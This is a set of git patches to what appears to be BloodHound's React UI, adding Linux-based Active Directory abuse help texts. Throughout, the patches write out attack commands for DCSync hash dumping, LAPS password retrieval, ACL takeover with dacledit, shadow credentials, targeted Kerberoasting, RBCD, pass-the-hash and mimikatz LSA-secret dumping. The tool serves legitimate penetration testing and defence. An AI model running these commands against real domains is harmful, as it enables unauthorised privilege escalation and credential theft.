+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+ DCSync
+
+
+
+
+
+ {
+ "secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
+ }
+
+ Retrieve LAPS Passwords
+
+
+
+ >
+ );
+ case 'GPO':
+ return (
+ <>
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+ Control of the Organization Unit
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+ Control of the Organization Unit
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+ Control of the Container
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/addmember
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting
+
+
+
+ https://www.thehacker.recipes/ad/movement/group-policies
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials
+
+
+
+ https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/grant-rights
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/GenericAll/Abuse.jsx b/src/components/Modals/HelpTexts/GenericAll/WindowsAbuse.jsx
similarity index 99%
rename from src/components/Modals/HelpTexts/GenericAll/Abuse.jsx
rename to src/components/Modals/HelpTexts/GenericAll/WindowsAbuse.jsx
index 8eb15396d..b6f463252 100644
--- a/src/components/Modals/HelpTexts/GenericAll/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/GenericAll/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from 'prop-types';
-const Abuse = ({
+const WindowsAbuse = ({
sourceName,
sourceType,
targetName,
@@ -592,7 +592,7 @@ const Abuse = ({
return <>>;
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
@@ -600,4 +600,4 @@ Abuse.propTypes = {
targetId: PropTypes.string,
haslaps: PropTypes.bool,
};
-export default Abuse;
+export default WindowsAbuse;
From 23b090d8df26c2e93e0fa13441ace318561dab4d Mon Sep 17 00:00:00 2001
From: Shutdown DCSync
+
Retrieve LAPS Passwords
+
+
+
+
+ {
+ 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+
+ {
+ 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+ >
+ );
+ case 'User':
+ return (
+ <>
+
+ {
+ 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ Targeted Kerberoast
+
+
+
+
+
+ {
+ "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
-- { - "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'" - } -
++ { + "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'" + } +
From 59c534c10e893516fa28edfa24255efb2c5baf27 Mon Sep 17 00:00:00 2001
From: Shutdown
+ You may perform a dcsync attack to get the password hash of an
+ arbitrary principal using impacket's secretsdump.py example script:
+
+ You can also perform the more complicated ExtraSids attack to
+ hop domain trusts. For information on this see the blog post by
+ harmj0y in the references tab.
+
@@ -24,4 +24,4 @@ const Abuse = () => {
);
};
-export default Abuse;
+export default WindowsAbuse;
From 361b4eb63b8ccd921fe7c6a85367b1ec6b1b74d7 Mon Sep 17 00:00:00 2001
From: Shutdown
+ You may perform a dcsync attack to get the password hash of an
+ arbitrary principal using impacket's secretsdump.py example script:
+
+ You can also perform the more complicated ExtraSids attack to
+ hop domain trusts. For information on this see the blog post by
+ harmj0y in the references tab.
+
@@ -17,11 +17,11 @@ const Abuse = () => {
You can also perform the more complicated ExtraSids attack to
- hop domain trusts. For information on this see the blod post by
+ hop domain trusts. For information on this see the blog post by
harmj0y in the references tab.
- If you want to be more targeted with your approach, it
- is possible to specify precisely what right you want to
- apply to precisely which kinds of descendent objects.
- Refer to the Windows Abuse info for this.
-
- With full control of the OU, you may add a new ACE on
- the OU that will inherit down to the objects under that
- OU. Below are two options depending on how targeted you
- choose to be in this step:
-
- The simplest and most straight forward way to abuse
- control of the OU is to apply a GenericAll ACE on the OU
- that will inherit down to all object types. This
- can be done using Impacket's dacledit (cf. "grant rights"
- reference for the link).
-
- Now, the "JKOHLER" user will have full control of all
- descendent objects of each type.
-
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
From 208d42cd3f6e3cb0e12d7611ddb72b136d495150 Mon Sep 17 00:00:00 2001
From: Shutdown
+ To abuse ownership of a group object, you may grant
+ yourself the AddMember privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ You can now add members to the group.
+
+ Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line:
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Finally, verify that the user was successfully added to the group:
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ To abuse ownership of a user object, you may grant
+ yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ A targeted kerberoast attack can be performed using{' '}
+ targetedKerberoast.py.
+
+ The tool will automatically attempt a targetedKerberoast
+ attack, either on all users or against a specific one if
+ specified in the command line, and then obtain a crackable hash.
+ The cleanup is done automatically as well.
+
+ The recovered hash can be cracked offline using the tool
+ of your choice.
+
+ Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line. The new password will be prompted
+ if omitted from the command line.
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Now that you know the target user's plain text password, you can
+ either start a new agent as that user, or use that user's
+ credentials in conjunction with PowerView's ACL abuse functions,
+ or perhaps even RDP to a system the target user has access to.
+ For more ideas and information, see the references tab.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To abuse ownership of a computer object, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ Full control of a computer object is abusable when
+ the computer's local admin account credential is
+ controlled with LAPS. The clear-text password for
+ the local administrator account is stored in an
+ extended attribute on the computer object called
+ ms-Mcs-AdmPwd. With full control of the computer
+ object, you may have the ability to read this
+ attribute, or grant yourself the ability to read the
+ attribute by modifying the computer object's
+ security descriptor.
+
+ LAPSDumper can be used
+ to retrieve LAPS passwords:
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To abuse ownership of a computer object, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To abuse ownership of a domain object, you may grant
+ yourself the DcSync privileges.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ The AllExtendedRights privilege grants {sourceName} both the
+ DS-Replication-Get-Changes and
+ DS-Replication-Get-Changes-All privileges, which combined
+ allow a principal to replicate objects from the domain{' '}
+ {targetName}.
+
+ This can be abused using Impacket's secretsdump.py example script:
+
+ If FullControl (GenericAll) is obtained on the domain,
+ instead of granting DCSync rights, the AllExtendedRights
+ privilege included grants {sourceName} enough{' '}
+ privileges to retrieve LAPS passwords domain-wise.
+
+ LAPSDumper can be used
+ for that purpose:
+
+ To abuse ownership of a GPO, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ With full control of a GPO, you may make modifications
+ to that GPO which will then apply to the users and
+ computers affected by the GPO. Select the target object
+ you wish to push an evil policy down to, then use the
+ gpedit GUI to modify the GPO, using an evil policy that
+ allows item-level targeting, such as a new immediate
+ scheduled task. Then wait at least 2 hours for the group
+ policy client to pick up and execute the new evil
+ policy. See the references tab for a more detailed write
+ up on this abuse`;
+
+ pyGPOAbuse.py can be used for that purpose.
+
+ With ownership of the OU object, you may grant yourself
+ the GenericAll privilege.
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ With ownership of the container object, you may grant yourself
+ the GenericAll privilege.
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ There are several ways to abuse the ability to read the GMSA
+ password. The most straight forward abuse is possible when the
+ GMSA is currently logged on to a computer, which is the intended
+ behavior for a GMSA. If the GMSA is logged on to the computer
+ account which is granted the ability to retrieve the GMSA's
+ password, simply steal the token from the process running as the
+ GMSA, or inject into that process.
+
+ If the GMSA is not logged onto the computer, you may create a
+ scheduled task or service set to run as the GMSA. The computer
+ account will start the sheduled task or service as the GMSA, and
+ then you may abuse the GMSA logon in the same fashion you would
+ a standard user running processes on the machine (see the
+ "HasSession" help modal for more details).
+
+ Finally, it is possible to remotely retrieve the password for
+ the GMSA and convert that password to its equivalent NT hash.
+ gMSADumper.py can be used for that purpose.
+
+ At this point you are ready to use the NT hash the same way you
+ would with a regular user account. You can perform
+ pass-the-hash, overpass-the-hash, or any other technique that
+ takes an NT hash as an input.
+
@@ -59,4 +59,4 @@ const Abuse = () => {
);
};
-export default Abuse;
+export default WindowsAbuse;
From 7ca242cfaa2efc88627ff615c1c470741599428a Mon Sep 17 00:00:00 2001
From: Shutdown
+ Sufficient control on a computer object is abusable when
+ the computer's local admin account credential is
+ controlled with LAPS. The clear-text password for
+ the local administrator account is stored in an
+ extended attribute on the computer object called
+ ms-Mcs-AdmPwd.
+
+ LAPSDumper can be used
+ to retrieve LAPS passwords:
+
@@ -40,9 +40,9 @@ const Abuse = ({ sourceName, sourceType }) => {
);
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
-export default Abuse;
+export default WindowsAbuse;
From a79a71124e35809eb9b5f0e4c3c3ac6ee94aaeee Mon Sep 17 00:00:00 2001
From: Shutdown
+ To abuse WriteDacl to a group object, you may grant
+ yourself the AddMember privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ You can now add members to the group.
+
+ Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line:
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Finally, verify that the user was successfully added to the group:
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ To abuse WriteDacl to a user object, you may grant
+ yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ A targeted kerberoast attack can be performed using{' '}
+ targetedKerberoast.py.
+
+ The tool will automatically attempt a targetedKerberoast
+ attack, either on all users or against a specific one if
+ specified in the command line, and then obtain a crackable hash.
+ The cleanup is done automatically as well.
+
+ The recovered hash can be cracked offline using the tool
+ of your choice.
+
+ Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line. The new password will be prompted
+ if omitted from the command line.
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Now that you know the target user's plain text password, you can
+ either start a new agent as that user, or use that user's
+ credentials in conjunction with PowerView's ACL abuse functions,
+ or perhaps even RDP to a system the target user has access to.
+ For more ideas and information, see the references tab.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To abuse WriteDacl to a computer object, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ Full control of a computer object is abusable when
+ the computer's local admin account credential is
+ controlled with LAPS. The clear-text password for
+ the local administrator account is stored in an
+ extended attribute on the computer object called
+ ms-Mcs-AdmPwd. With full control of the computer
+ object, you may have the ability to read this
+ attribute, or grant yourself the ability to read the
+ attribute by modifying the computer object's
+ security descriptor.
+
+ LAPSDumper can be used
+ to retrieve LAPS passwords:
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To abuse WriteDacl to a computer object, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To abuse WriteDacl to a domain object, you may grant
+ yourself the DcSync privileges.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ The AllExtendedRights privilege grants {sourceName} both the
+ DS-Replication-Get-Changes and
+ DS-Replication-Get-Changes-All privileges, which combined
+ allow a principal to replicate objects from the domain{' '}
+ {targetName}.
+
+ This can be abused using Impacket's secretsdump.py example script:
+
+ If FullControl (GenericAll) is obtained on the domain,
+ instead of granting DCSync rights, the AllExtendedRights
+ privilege included grants {sourceName} enough{' '}
+ privileges to retrieve LAPS passwords domain-wise.
+
+ LAPSDumper can be used
+ for that purpose:
+
+ To abuse WriteDacl to a GPO, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ With full control of a GPO, you may make modifications
+ to that GPO which will then apply to the users and
+ computers affected by the GPO. Select the target object
+ you wish to push an evil policy down to, then use the
+ gpedit GUI to modify the GPO, using an evil policy that
+ allows item-level targeting, such as a new immediate
+ scheduled task. Then wait at least 2 hours for the group
+ policy client to pick up and execute the new evil
+ policy. See the references tab for a more detailed write
+ up on this abuse`;
+
+ pyGPOAbuse.py can be used for that purpose.
+
+ With WriteDacl to an OU object, you may grant yourself
+ the GenericAll privilege.
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ With WriteDacl to a container object, you may grant yourself
+ the GenericAll privilege.
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ To abuse ownership of a group object, you may grant
+ yourself the AddMember privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ You can now add members to the group.
+
+ Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line:
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Finally, verify that the user was successfully added to the group:
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ To abuse ownership of a user object, you may grant
+ yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ A targeted kerberoast attack can be performed using{' '}
+ targetedKerberoast.py.
+
+ The tool will automatically attempt a targetedKerberoast
+ attack, either on all users or against a specific one if
+ specified in the command line, and then obtain a crackable hash.
+ The cleanup is done automatically as well.
+
+ The recovered hash can be cracked offline using the tool
+ of your choice.
+
+ Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line. The new password will be prompted
+ if omitted from the command line.
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Now that you know the target user's plain text password, you can
+ either start a new agent as that user, or use that user's
+ credentials in conjunction with PowerView's ACL abuse functions,
+ or perhaps even RDP to a system the target user has access to.
+ For more ideas and information, see the references tab.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ To abuse ownership of a computer object, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ Full control of a computer object is abusable when
+ the computer's local admin account credential is
+ controlled with LAPS. The clear-text password for
+ the local administrator account is stored in an
+ extended attribute on the computer object called
+ ms-Mcs-AdmPwd. With full control of the computer
+ object, you may have the ability to read this
+ attribute, or grant yourself the ability to read the
+ attribute by modifying the computer object's
+ security descriptor.
+
+ LAPSDumper can be used
+ to retrieve LAPS passwords:
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ To abuse ownership of a computer object, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ To abuse ownership of a domain object, you may grant
+ yourself the DcSync privileges.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ The AllExtendedRights privilege grants {sourceName} both the
+ DS-Replication-Get-Changes and
+ DS-Replication-Get-Changes-All privileges, which combined
+ allow a principal to replicate objects from the domain{' '}
+ {targetName}.
+
+ This can be abused using Impacket's secretsdump.py example script:
+
+ If FullControl (GenericAll) is obtained on the domain,
+ instead of granting DCSync rights, the AllExtendedRights
+ privilege included grants {sourceName} enough{' '}
+ privileges to retrieve LAPS passwords domain-wise.
+
+ LAPSDumper can be used
+ for that purpose:
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ To abuse ownership of a GPO, you may
+ grant yourself the GenericAll privilege.
+
+ Impacket's dacledit can be used for that purpose (cf.
+ "grant rights" reference for the link).
+
+ Cleanup of the added ACL can be performed later on with the same tool:
+
+ With full control of a GPO, you may make modifications
+ to that GPO which will then apply to the users and
+ computers affected by the GPO. Select the target object
+ you wish to push an evil policy down to, then use the
+ gpedit GUI to modify the GPO, using an evil policy that
+ allows item-level targeting, such as a new immediate
+ scheduled task. Then wait at least 2 hours for the group
+ policy client to pick up and execute the new evil
+ policy. See the references tab for a more detailed write
+ up on this abuse`;
+
+ pyGPOAbuse.py can be used for that purpose.
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ With ownership of the OU object, you may grant yourself
+ the GenericAll privilege.
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ To change the ownership of the object, you may use Impacket's owneredit
+ example script (cf. "grant ownership" reference for the exact link).
+
+ With ownership of the container object, you may grant yourself
+ the GenericAll privilege.
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ A targeted kerberoast attack can be performed using{' '}
+ targetedKerberoast.py.
+
+ The tool will automatically attempt a targetedKerberoast
+ attack, either on all users or against a specific one if
+ specified in the command line, and then obtain a crackable hash.
+ The cleanup is done automatically as well.
+
+ The recovered hash can be cracked offline using the tool
+ of your choice.
+
@@ -58,9 +58,9 @@ const Abuse = ({ sourceName, sourceType }) => {
);
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
-export default Abuse;
+export default WindowsAbuse;
diff --git a/src/components/Modals/HelpTexts/WriteSPN/WriteSPN.jsx b/src/components/Modals/HelpTexts/WriteSPN/WriteSPN.jsx
index f8934551f..dfa979b91 100644
--- a/src/components/Modals/HelpTexts/WriteSPN/WriteSPN.jsx
+++ b/src/components/Modals/HelpTexts/WriteSPN/WriteSPN.jsx
@@ -2,7 +2,8 @@ import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
-import Abuse from './Abuse';
+import WindowsAbuse from './WindowsAbuse';
+import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
@@ -17,13 +18,16 @@ const WriteSPN = ({ sourceName, sourceType, targetName, targetType }) => {
targetType={targetType}
/>
+ From an elevated command prompt on {sourceName}, run
+ mimikatz then execute the following commands:
+
+ In the output, find
+ To use this password, its NT hash must be calculated. This can be done using
+ a small python script:
+
+ Execute it like so:
+
+ To authenticate as the sMSA, leverage pass-the-hash.
+
+ Alternatively, to avoid executing mimikatz on {sourceName}, you can save a copy of
+ the
+ Transfer the files named
+ {groupSpecialFormat(sourceType, sourceName)} the
+ Standalone Managed Service Account (sMSA) {targetName} installed on it.
+
+ With administrative privileges on {sourceName}, it is
+ possible to dump {targetName}'s password stored in LSA
+ secrets.
+
+ Access to registry hives can be monitored and alerted via event ID 4656
+ (A handle to an object was requested).
+
- For other optional parameters, view the Whisper documentation.
+ For other optional parameters, view the Whisker documentation.
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
